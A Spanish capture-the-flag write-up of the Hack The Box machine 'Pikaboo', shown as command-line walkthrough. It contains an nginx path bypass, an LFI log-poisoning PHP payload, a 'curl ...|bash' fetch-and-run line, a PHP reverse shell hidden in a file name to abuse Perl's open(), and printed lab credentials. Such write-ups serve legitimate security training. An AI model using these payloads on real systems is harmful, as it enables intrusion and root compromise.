This page looks best with JavaScript enabled

Hack The Box - Pikaboo

 •  ✍️ sckull

Pikaboo presenta una vulnerabilidad LFI donde realizamos LFI Log Poisoning por donde obtuvimos acceso. Acceso por LDAP localmente nos permitio acceder a otro usuario por FTP. Finalmente para escalar privilegios explotamos una vulnerabilidad en una funcion de perl.

Nombre Pikaboo box_img_maker
OS

Linux

Puntos 40
Dificultad Dificil
IP 10.10.10.249
Maker

pwnmeow


polarbearer

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[6.7, 5.4, 4.8, 5.2, 4.6],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

RECON

NMAP

Escaneo de puertos con nmap nos muestra multiples puertos abiertos: http (80), ftp (21), ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
# Nmap 7.91 scan initiated Mon Jul 19 19:51:31 2021 as: nmap -Pn -sV -sC -p21,22,80 -oN scans 10.10.10.249
Nmap scan report for 10.10.10.249 (10.10.10.249)
Host is up (0.25s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 17:e1:13:fe:66:6d:26:b6:90:68:d0:30:54:2e:e2:9f (RSA)
|   256 92:86:54:f7:cc:5a:1a:15:fe:c6:09:cc:e5:7c:0d:c3 (ECDSA)
|_  256 f4:cd:6f:3b:19:9c:cf:33:c6:6d:a5:13:6a:61:01:42 (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Pikaboo
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 19 19:51:46 2021 -- 1 IP address (1 host up) scanned in 15.09 seconds

FTP

El puerto 21 (FTP) no acepta conexiones anonimas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
 π ~/htb/pikaboo ❯ ftp 10.10.10.249
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)
Name (10.10.10.249:kali): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
ftp> bye
221 Goodbye.

Web Site

Vemos una pagina en el puerto 80, parece ser estatica.
image

Una lista de nombres con la descripcion de cada uno de estas imagenes podrian servir para posibles nombres de usuario. Además cada imagen nos redirige hacia una “API” pero se muestra el mensaje PokeAPI Integration - Coming soon!.
image

En Contacto observamos un formulario pero en el codigo fuente no vemos que realice alguna solicitud.
image

Directory Brute Forcing

Realizamos una busqueda de directorios, aunque solo se muestran mayormente direcciones hacia un panel de administracion y direcciones ya conocidas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 π ~/htb/pikaboo ❯ feroxbuster --resume-from ferox-http_10_10_10_249_-1626739710.state

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.10.249/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.3.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301        9l       28w      319c http://10.10.10.249/images
200      208l      477w     6922c http://10.10.10.249/index.php
200       92l      213w     3180c http://10.10.10.249/contact.php
401       14l       54w      456c http://10.10.10.249/admin
401       14l       54w      456c http://10.10.10.249/administration
401       14l       54w      456c http://10.10.10.249/administrator
401       14l       54w      456c http://10.10.10.249/administr8
401       14l       54w      456c http://10.10.10.249/administrative
401       14l       54w      456c http://10.10.10.249/administratie
401       14l       54w      456c http://10.10.10.249/admins
401       14l       54w      456c http://10.10.10.249/admin_images
401       14l       54w      456c http://10.10.10.249/administrivia

Bypass Panel - nginx

PANEL

Las direcciones de administracion presentan Autenticacion Basica. Intentamos realizar un ataque de fuerza bruta con los nombres en “Pokatdex” pero no resulto nada. Además vemos que las solicitudes del panel se realizan hacia 127.0.0.1:81 atraves de Apache, tal vez es algun tipo de Proxy configurado en Nginx hacia Apache.

La version de la maquina es 1.14.2 es inferior a la version estable actual lo que podria suponer algun tipo de vulnerabilidad, tomando en cuenta esto y el “Proxy” nos llevó a Nginx misconfigurations ( 1, 2, 3, 4) y Reverse Proxy Attacks, similar a HTB - Seal.

De cierta forma deberíamos intentar realizar Bypass, en este caso en el panel de administracion, es por ello que tomamos en cuenta los “payloads” para Nginx y realizamos nuevamente una enumeracion de directorios con Feroxbuster.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 π ~/htb/pikaboo ❯ feroxbuster -u "http://10.10.10.249/admin../" -w $MD

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.10.10.249/admin../
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.3.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
401       14l       54w      456c http://10.10.10.249/admin../admin
301        9l       28w      314c http://10.10.10.249/admin../javascript
200       93l      285w     4640c http://10.10.10.249/admin../server-status
[####################] - 9m    220545/220545  0s      found:3       errors:0
[####################] - 8m    220545/220545  408/s   http://10.10.10.249/admin../

Se muestran algunas direcciones pero en server-status observamos la direccion /admin_stagin y las solicitudes hechas por feroxbuster.
image

Al visitar /admin_stagin nos redirige al puerto 81 de localhost, agregando / al final nos muestra el contenido.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
 π ~/htb/pikaboo ❯ curl -s http://10.10.10.249/admin../admin_staging
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://127.0.0.1:81/admin_staging/">here</a>.</p>
<hr>
<address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 81</address>
</body></html>
 π ~/htb/pikaboo ❯ curl -s http://10.10.10.249/admin../admin_staging/ | head
<!--
=========================================================
Material Dashboard - v2.1.2
=========================================================

Product Page: https://www.creative-tim.com/product/material-dashboard
Copyright 2020 Creative Tim (https://www.creative-tim.com)
Coded by Creative Tim

=========================================================
 π ~/htb/pikaboo ❯

Observamos informacion y multiples direcciones.
image

LFI

Tras cambiar a una direccion vemos que toma un archivo PHP y lo muestra en pantalla, lo que nos lleva a una vulnerabilidad LFI.
image

Utilizando un wrapper de php, obtuvimos el codigo de index.php donde vemos el codigo vulnerable.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
/*php://filter/convert.base64-encode/resource=index.php*/
<?php
    if(isset($_GET['page'])) { 
      include($_GET['page']);
    }
    else
    {  
      include("dashboard.php");
    }
    ?>

LFI Log Poisoning

Utilizamos un wordlist con WFFUZ y, encontramos algunos archivos de log.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
 π ~/htb/pikaboo ❯ wfuzz -c -w file_inclusion_linux.txt --hl 367 -u "http://10.10.10.249/admin../admin_staging/index.php?page=FUZZ" 
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.249/admin../admin_staging/index.php?page=FUZZ
Total requests: 2247

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000001803:   200        999 L    4802 W     61821 Ch    "/var/log/dpkg.log"
000001974:   200        413 L    1670 W     19803 Ch    "/var/log/vsftpd.log"
000001977:   200        555 L    1376 W     162752 Ch   "/var/log/wtmp"

Total time: 73.18061
Processed Requests: 2247
Filtered Requests: 2244
Requests/sec.: 30.70485

Vemos algunas solicitudes en el log de FTP (vsftpd.log) aunque no vemos credenciales en texto plano. Realizamos una solicitud en el puerto FTP tomando como usuario un payload para verificar que el codigo en PHP sea ejecutado.

1
<?php echo(system('whoami')); ?>

Al verificar el log vemos que el usuario es www-data por lo que ejecutamos una shell inversa.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# http://10.10.10.249/admin../admin_staging/index.php?page=/var/log/vsftpd.log
Thu Jul 22 01:53:34 2021 [pid 6954] CONNECT: Client "::ffff:10.10.14.24"
Thu Jul 22 01:53:34 2021 [pid 6954] FTP response: Client "::ffff:10.10.14.24", "220 (vsFTPd 3.0.3)"
Thu Jul 22 01:53:35 2021 [pid 6954] FTP command: Client "::ffff:10.10.14.24", "USER www-data
www-data"
Thu Jul 22 01:53:35 2021 [pid 6954] [www-data
www-data] FTP response: Client "::ffff:10.10.14.24", "331 Please specify the password."
Thu Jul 22 01:53:38 2021 [pid 6954] [www-data
www-data] FTP command: Client "::ffff:10.10.14.24", "PASS <password>"
Thu Jul 22 01:53:38 2021 [pid 6953] [www-data
www-data] FAIL LOGIN: Client "::ffff:10.10.14.24"
Thu Jul 22 01:53:39 2021 [pid 6954] [www-data
www-data] FTP response: Client "::ffff:10.10.14.24", "530 Login incorrect."
Thu Jul 22 01:53:39 2021 [pid 6954] FTP command: Client "::ffff:10.10.14.24", "SYST"
Thu Jul 22 01:53:39 2021 [pid 6954] FTP response: Client "::ffff:10.10.14.24", "530 Please login with USER and PASS."

www-data - User

Utilizamos reverse shell as a service en la version de InfosecJack para generar una shell inversa y en el codigo PHP descargamos y ejecutamos la shell.

1
<?php echo(system('curl 10.10.14.24/x|bash')); ?>

Obtuvimos una shell con el usuario www-data.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
 π ~/htb/pikaboo ❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.24] from 10.10.10.249 [10.10.10.249] 38126
/bin/sh: 0: can't access tty; job control turned off
www-data@pikaboo:/var/www/html/admin_staging$ which python
/usr/bin/python
python -c 'import pty; pty.spawn("/bin/bash");'
www-data@pikaboo:/var/www/html/admin_staging$ whoami; id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@pikaboo:/var/www/html/admin_staging$

Y realizamos la lectura de la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
www-data@pikaboo:/var/www$ cat /etc/passwd|grep home
pwnmeow:x:1000:1000:,,,:/home/pwnmeow:/bin/bash
www-data@pikaboo:/var/www$ ls -lah /home/pwnmeow
total 580K
drwxr-xr-x 2 pwnmeow pwnmeow  556K Jul  6 20:02 .
drwxr-xr-x 3 root    root     4.0K May 10 10:26 ..
lrwxrwxrwx 1 root    root        9 Jul  6 20:02 .bash_history -> /dev/null
-rw-r--r-- 1 pwnmeow pwnmeow   220 May 10 10:26 .bash_logout
-rw-r--r-- 1 pwnmeow pwnmeow  3.5K May 10 10:26 .bashrc
-rw-r--r-- 1 pwnmeow pwnmeow   807 May 10 10:26 .profile
lrwxrwxrwx 1 root    root        9 Jul  6 20:01 .python_history -> /dev/null
-r--r----- 1 pwnmeow www-data   33 Jul 22 00:40 user.txt
www-data@pikaboo:/var/www$ cat /home/pwnmeow/user.txt
2b4e6a139700d43db0960bfe88fb2d32
www-data@pikaboo:/var/www$

pwnmeow - FTP

Enumerando los directorios vemos la app pokeapi en /opt dentro de la configuracion del proyecto encontramos credenciales para LDAP.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
DATABASES = {
    "ldap": {
        "ENGINE": "ldapdb.backends.ldap",
        "NAME": "ldap:///",
        "USER": "cn=binduser,ou=users,dc=pikaboo,dc=htb",
        "PASSWORD": "J~42%W?PFHl]g",
    },
    "default": {
        "ENGINE": "django.db.backends.sqlite3",
        "NAME": "/opt/pokeapi/db.sqlite3",
    }
}

Tambien observamos que el puerto 389 (ldap) esta a la escucha localmente y ldapsearch esta instalado en la maquina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
www-data@pikaboo:/opt/pokeapi/config$ netstat -ntpl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:389           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      618/nginx: worker p
tcp        0      0 127.0.0.1:81            0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      618/nginx: worker p
tcp6       0      0 :::21                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
www-data@pikaboo:/opt/pokeapi/config$ which ldapsearch
/usr/bin/ldapsearch
www-data@pikaboo:/opt/pokeapi/config$

Obtuvimos informacion en LDAP donde observamos la contraseña de pwnmeow codificada en base64.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
www-data@pikaboo:/opt/pokeapi/config$ ldapsearch -x -h localhost -D 'cn=binduser,ou=users,dc=pikaboo,dc=htb' -w 'J~42%W?PFHl]g' -b "cn=users,dc=pikaboo,dc=htb"
# extended LDIF
#
# LDAPv3
# base <dc=pikaboo,dc=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# pikaboo.htb
dn: dc=pikaboo,dc=htb
objectClass: domain
dc: pikaboo

# ftp.pikaboo.htb
dn: dc=ftp,dc=pikaboo,dc=htb
objectClass: domain
dc: ftp

# users, pikaboo.htb
dn: ou=users,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users

# pokeapi.pikaboo.htb
dn: dc=pokeapi,dc=pikaboo,dc=htb
objectClass: domain
dc: pokeapi

# users, ftp.pikaboo.htb
dn: ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users

# groups, ftp.pikaboo.htb
dn: ou=groups,dc=ftp,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: groups

# pwnmeow, users, ftp.pikaboo.htb
dn: uid=pwnmeow,ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
uid: pwnmeow
cn: Pwn
sn: Meow
loginShell: /bin/bash
uidNumber: 10000
gidNumber: 10000
homeDirectory: /home/pwnmeow
userPassword:: X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==

# binduser, users, pikaboo.htb
dn: cn=binduser,ou=users,dc=pikaboo,dc=htb
cn: binduser
objectClass: simpleSecurityObject
objectClass: organizationalRole
userPassword:: Sn40MiVXP1BGSGxdZw==

# users, pokeapi.pikaboo.htb
dn: ou=users,dc=pokeapi,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users

# groups, pokeapi.pikaboo.htb
dn: ou=groups,dc=pokeapi,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: groups

# search result
search: 2
result: 0 Success

# numResponses: 11
# numEntries: 10
www-data@pikaboo:/opt/pokeapi/config$

Con esta contraseña obtuvimos acceso por FTP.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
 π ~/htb/pikaboo ❯ ftp 10.10.10.249 # _G0tT4_C4tcH_'3m_4lL!_
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)
Name (10.10.10.249:kali): pwnmeow
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
257 "/" is the current directory
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwx-wx---    2 ftp      ftp          4096 May 20 09:54 abilities
[... REDACTED ...]
drwx-wx---    2 ftp      ftp          4096 Jul 06 20:20 versions
226 Directory send OK.
ftp>

Privesc

Descubrimos un cronjob ejecutado por root, utiliza csvupdate para cada uno de los archivos en /srv/ftp/, en este ultimo unicamente estan permitidos el usuario root y los usuarios pertenecientes a ftp como pwnmeow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
www-data@pikaboo:/$ cat /etc/crontab | grep -v "#"

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root /usr/local/bin/csvupdate_cron
www-data@pikaboo:/$ file /usr/local/bin/csvupdate_cron
/usr/local/bin/csvupdate_cron: Bourne-Again shell script, ASCII text executable
www-data@pikaboo:/$ cat /usr/local/bin/csvupdate_cron
#!/bin/bash

for d in /srv/ftp/*
do
  cd $d
  /usr/local/bin/csvupdate $(basename $d) *csv
  /usr/bin/rm -rf *
done
www-data@pikaboo:/$ file /usr/local/bin/csvupdate
/usr/local/bin/csvupdate: Perl script text executable
www-data@pikaboo:/$  wc -l /usr/local/bin/csvupdate
231 /usr/local/bin/csvupdate
www-data@pikaboo:/$ ls -ld /srv/ftp/
drwxr-xr-x 176 root ftp 12288 May 20 08:01 /srv/ftp/
www-data@pikaboo:/$ id pwnmeow
uid=1000(pwnmeow) gid=1000(pwnmeow) groups=1000(pwnmeow),115(ftp)
www-data@pikaboo:/$

El script realiza la lectura de archivos .csv obtiene las celdas y verifica que tiene el numero de campos definidos en %csv_fields, si es correcto finaliza escribiendo el contenido del /srv/ftp/[archivo].csv en /opt/pokeapi/data/v2/csv/[tipo].csv.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/perl
#  [... REDACTED ...]
use strict;
use warnings;
use Text::CSV;

my $csv_dir = "/opt/pokeapi/data/v2/csv";

my %csv_fields = (
  'abilities' => 4,
#  [... REDACTED ...]
  'versions' => 3
);

if($#ARGV < 1){
  die "Usage: $0 <type> <file(s)>\n";
}

my $type = $ARGV[0];
if(!exists $csv_fields{$type}){
  die "Unrecognised CSV data type: $type.\n";
}

my $csv = Text::CSV->new({ sep_char => ',' });

my $fname = "${csv_dir}/${type}.csv";
open(my $fh, ">>", $fname) or die "Unable to open CSV target file.\n";

shift;
for(<>){
  chomp;
  if($csv->parse($_))  {
    my @fields = $csv->fields();
    if(@fields != $csv_fields{$type})    {
      warn "Incorrect number of fields: '$_'\n";
      next;
    }
    print $fh "$_\n";
  }
}

close($fh);

Tras analizar las librerias no encontramos algun tipo de vulnerabilidad pero algunas funciones de Perl se mencionan ser vulnerables (1, 2, 3, 4) especificamente open() en este caso. Segun la informacion un archivo que comienza con | es interpretado como un comando.

If the filename begins with “|”, the filename is interpreted as a command to which output is to be piped, and if the filename ends with a “|”, the filename is interpreted as a command which pipes output to us.

En tal caso podriamos ejecutar comandos creando un archivo con una shell inversa, además debemos de agregar csv ya que el cronjob toma todos los archivos con estos caracteres. Utilizamos Thunar para crear el archivo.

1
|php -r '$sock=fsockopen("10.10.14.24",1338);exec("sh -i <&3 >&3 2>&3");'|csv

Por alguna razon el archivo no se muestra en Thunar y por FTP tras subir dicho archivo.
image

Aunque al pasar algunos segundos obtuvimos una shell como root y la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
 π ~/htb/pikaboo ❯ bash -c 'rlwrap nc -lvp 1338'
listening on [any] 1338 ...
connect to [10.10.14.24] from 10.10.10.249 [10.10.10.249] 44940
can't access tty; job control turned off
python -c 'import pty;pty.spawn("/bin/bash");'
root@pikaboo:/srv/ftp/abilities# whoami; id; pwd
root
uid=0(root) gid=0(root) groups=0(root)
/srv/ftp/abilities
root@pikaboo:/srv/ftp/abilities# cd
root@pikaboo:~# ls
root.txt  vsftpd.log
root@pikaboo:~# cat root.txt
cat root.txt
31ea660be5feed8e26eea494874fb2fa
root@pikaboo:~# cat /home/pwn*/user.txt
b6b20e171c3d5d3425f7bfaafea34501
root@pikaboo:~#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe